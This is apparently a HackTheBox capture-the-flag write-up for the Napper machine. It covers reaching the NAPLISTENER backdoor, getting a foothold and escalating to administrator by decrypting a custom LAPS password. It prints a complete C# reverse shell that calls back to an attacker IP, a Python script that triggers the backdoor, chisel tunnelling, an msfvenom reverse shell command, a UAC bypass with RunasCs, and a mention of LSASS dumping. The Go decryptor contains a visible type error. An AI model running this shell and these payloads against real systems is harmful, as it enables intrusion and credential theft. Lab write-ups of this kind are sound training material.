Napper — HackTheBox

Abdul Wassay (HotPlugin)
11 min readMay 3, 2024

Napper is a challenging machine on HackTheBox. It requires interacting with the NAPLISTENER backdoor left by an APT to gain initial foothold. Afterward, reversing the custom LAPS and creating a decryptor in Go lang leads to privilege escalation as local administrator.

NMAP

PORT    STATE SERVICE  VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://app.napper.htb
|_http-server-header: Microsoft-IIS/10.0
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-generator: Hugo 0.112.3
|_ssl-date: 2024-04-22T11:25:51+00:00; +1s from scanner time.
|_http-title: Research Blog | Home
| tls-alpn:
|_ http/1.1
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after: 2033-06-04T14:58:55
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Port 80/443 (HTTP/s)

Browsing the URL, we get the following blog website. It is a static site.

Fuzzing for subdomains, we find a subdomain internal .

ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u https://app.napper.htb/ -H "Host: FUZZ.napper.htb" -ac -c

Browsing the newly found subdomain, it asks for authentication. Trying the default credentials doesn’t work.

Since, I did not have credentials so i started reading the blogs at app.napper.htb . The last two blogs were about the Basic Authentication. So, i started looking for any misconfiguration or credentials in the process explained in the blogs.

In the Basic Authentication on IIS using PowerShell blog, some example credentials were given.

Using these credentials example:ExamplePassword , the authentication was successful and i was able to access the internal.napper.htb .

Foothold via NAPLISTENER

There was one blog which was about the malware research.

Reading the blog gives us the idea that the system was attacked by NAPLISTENER malware and it has installed backdoor for persistence. More details can be found at the following analysis by elastic security labs.

There are three main things that we need to note from the above research. First the malware expects a POST request to /ews/MsExgHealthCheckd/ endpoint with a form containing sdafwe3rwe23 parameter with base64 encoded payload. The payload will be a .Net assembly from which the malware will create an instance of Run class.

https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph

So, i took the following C# reverse shell from BankSecurity github. Modified the class name to Run and created a constructor which will call the Shell method. Meaning which this assembly will be loaded and the instance of Run class will be created, our reverse shell code will be executed.

using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace UwUShell
{
public class Run
{
static StreamWriter streamWriter;

public Run()
{
Shell();
}

public static void Shell()
{
using (TcpClient client = new TcpClient("10.10.14.179", 443))
{
using (Stream stream = client.GetStream())
{
using (StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while (true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

I successfully compiled the code in Visual Studio and transferred the DLL to my attack box.

Then created the following python script which will send the payload to required endpoint. This script is also mentioned in the blog by elastic.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

with open("payload.b64") as f:
payload = f.read().strip()

url = 'https://10.10.11.240/ews/MsExgHealthCheckd/'
form = f"sdafwe3rwe23={requests.utils.quote(payload)}"

response = requests.post(url, data=form, verify=False)

if response.status_code == 200:
print("Request was successful.")
print(response.headers)
else:
print("Error:", response.status_code)

Now converted the DLL to base64 and saved it in a file. Running the script, we successfully get shell on the box as ruben user.

Privilege Escalation

Check the groups, the ruben user don’t have any special group or permissions. There are two more users in the system which are backup and example. The backup user is part of the local administrators group.

Enumerating the files in C:\Temp\www\internal\content\posts, it seems that there is one more post in the internal blog but we were only able to access one which was first-re-research . Also there are two files in internal-laps-alpha folder which are .env and a.exe . The no-more-laps.md file mentions the implementation of a custom LAPS solution. It also tells that the password of backup user is stored in the local Elastic DB. Reading all this gives the idea that there’s elastic search running locally, a LAPS solution is implemented means the password of local admins will be random and the binary a.exe is possibly related to the custom LAPS. There’s nothing interesting environment files except the elastic search URI.

Checking the open ports, we can confirm that elastic search is running locally on port 9200.

I decided to forward port 9200 to our host so i transferred the chisel binary to the system.

Running the chisel, forwarded the port 9200 to our host

# on kali
./chisel server -p 8000 --reverse

# on windows
.\chisel client 10.10.14.179:8000 R:9200:127.0.0.1:9200

Opening in browser, it required authentication and at this point we don’t have any credentials. Tried the example credentials from blog like we did on internal subdomain but they did not work.

So next, I went into the C:\Program Files\elastic-search-8.8.0\ folder in the hope to find credentials. Checked some files but couldn’t find anything. The searching for password string the whole came across the following password for elastic user which is a default elastic search user.

findstr /si password *

These credentials worked on the elastic search api authentication and i was able to access it. The cluster name is backupuser. We saw it mentioned in the blog that it stores password for backup user. In the tagline, it gives the hint.

The hint is to look for elastic API search endpoint. It can be easily found on the google. At this endpoint, there are two indexes. The seed index contains a seed number and the other one contains a base64 encoded which essentially is an encrypted blob.

So the last thing comes to mind is to analyze the a.exe binary and findout what it does.

Reversing Go Binary

Transferred it to my kali using the SMB server

Checking the file properties and strings, it is a stripped binary written in Go.

Executing the binary, it seems to be loading the .env file and then communicating with the elastic search API on port 9200.

So next, i decide to reverse the binary. Since it’s a stripped binary means that all the symbols are removed and it is difficult to understand anything. So, i found the following tool by mandiant which is used for recovering stripped Go binary symbols. Ran this tool on the go binary and saves the output in a JSON file.

./GoReSym_lin -t -d -p ./a.exe > symbols.json

Next, I opened the binary in Ghidra and imported the following script in it. This script is provided with GoReSym tool. Executing the script will open a dialogue box to select a file. So, we’ll need to select the JSON file output from the GoReSym tool.

main function

Here’s the decompiled code for a.exe binary. In the main, it first seems to be looking for .env file and loading three variable from it. Then, it tries to communicate with elastic search API using the credentials. This part we saw during the dynamic analysis.

Next, if it succeeds in communicating with elastic search API, then it parses the response from API and extracts the seed. Next, it generates a random string and stores it in sVar10. Then, it passes the seed into genkey function which seems to be generating a key for encryption. Then, it gives the key and the random generated string to encrypt method. Finally it communicates with elastic search API and send the encrypted blob to it and create an index.

Finally, it executes some system commands which seems to changing the password of backup user. The commands looks like cmd.exe /c net user backup <password> .

Summary: This binary loads environment variables file .env , interacts with Elasticsearch API, makes HTTP requests, handles responses, performs encryption and decryption and executes commands.

genKey function

This function seeds the random number generator using math/rand with the provided seed. Creates a slice with length and capacity of 16. Fills the slice with random values between 1 and 255. And then returns it as key.

encrypt function

This function takes key and text as input and then converts the input text into a bytes slice. Creates a new AES cipher using the provided key. Initializes the initialization vector (IV) for AES encryption. Encrypts the input text using AES CFB mode. Encodes the encrypted text in base64. Returns the base64-encoded string.

On elastic search endpoint, we saw that the base64 encode blob and the seed is available to us. The seed is used to generate encrytion key and the blob is encrypted password of backup user. Also, these things change after every few minutes.

Reversing Script

Since, we have the seed which is used to generate the encryption key, and the encrypted blob. We can easily generate the decryption key and then decrypt the blog to recover the password of backup user. So, with the help of ChatGPT, I created the following Go script to recover the password backup user.

package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"errors"
"fmt"
"math/rand"
)

func genkey(seed int64) []byte {
// Seed the random number generator
rand.Seed(seed)

// Create a slice with length and capacity of 16
result := make([]byte, 16)

// Fill the slice with random values
for i := 0; i < 16; i++ {
result[i] = byte(rand.Intn(254) + 1)
}

return result
}

func decrypt(key []byte, blob string) (string, error) {
// Decode the base64-encoded ciphertext
ciphertext, err := base64.URLEncoding.DecodeString(blob)
if err != nil {
return "", err
}

// Create a new AES cipher block
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}

// Check if the ciphertext length is valid
if len(ciphertext) < aes.BlockSize {
return "", errors.New("ciphertext is too short")
}

// Extract the IV from the ciphertext
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]

// Create a stream cipher for decryption
stream := cipher.NewCFBDecrypter(block, iv)

// Decrypt the ciphertext
stream.XORKeyStream(ciphertext, ciphertext)

// Convert the decrypted ciphertext to a string
plaintext := string(ciphertext)

return plaintext, nil
}

func main() {
// Get these from elastic search -> https://localhost:9200/_search
seed := 69139765
blob := "dHgthIhiE2T50MEerW0PSyx1tJcEPsCD9kXANKwopqbO0UoWbcNTZNqKN1sQ0uF8mJVi6cZr41E="

// Generate & print key
key := genkey(seed)
fmt.Printf("Key: ")
for _, b := range key {
fmt.Printf("%02x", b)
}
fmt.Println() // Print newline after printing all bytes

// Decrypt the blob
decryptedText, err := decrypt(int64(key), blob)
if err != nil {
panic(err)
}
fmt.Printf("PT: %s\n", decryptedText)
}

Giving the seed and base64 encoded blob, it will return the decrypted password for backup user.

https://go.dev/play/p/_LsOt10zP_U

Shell as backup user

Now we have credentials of backup user, but we cannot get an interactive shell because no helpful ports are open except 80 and 443. But, using runas utility, we can run a new process with the permissions of backup user. However, the builtin runas does not allow explicit credentials, so we can use C# implementation of this utility which overcomes this limitation.

First, I generated a reverse shell payload using the msfvenom and then executed it with the permissions of backup user using RunasCs utility.

One thing to note is that we need to do this fast as the password changes every few minutes. If the password doesn’t work, then we need to get new seed and blob from elastic search and then decrypt it using the above script and run then run the following RunasCs command and provide the new password to get a shell as backup user.

# Generate revshell payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.179 LPORT=443 -f exe -o uwu.exe

# Execute revshell payload as backup user using RunasCS.exe
C:\Windows\Tasks\RunasCs.exe backup <password> C:\Windows\Tasks\uwu.exe --bypass-uac

Since backup user is in local administrators group, we can access the root flag on Administrator’s desktop.

Further, we can dump the LSASS using mimikatz and extract the NTLM of administrator user. Then forward the SMB port (445) and get a shell as administrator user by passing the hash via psexec or any other tool.

References

--

--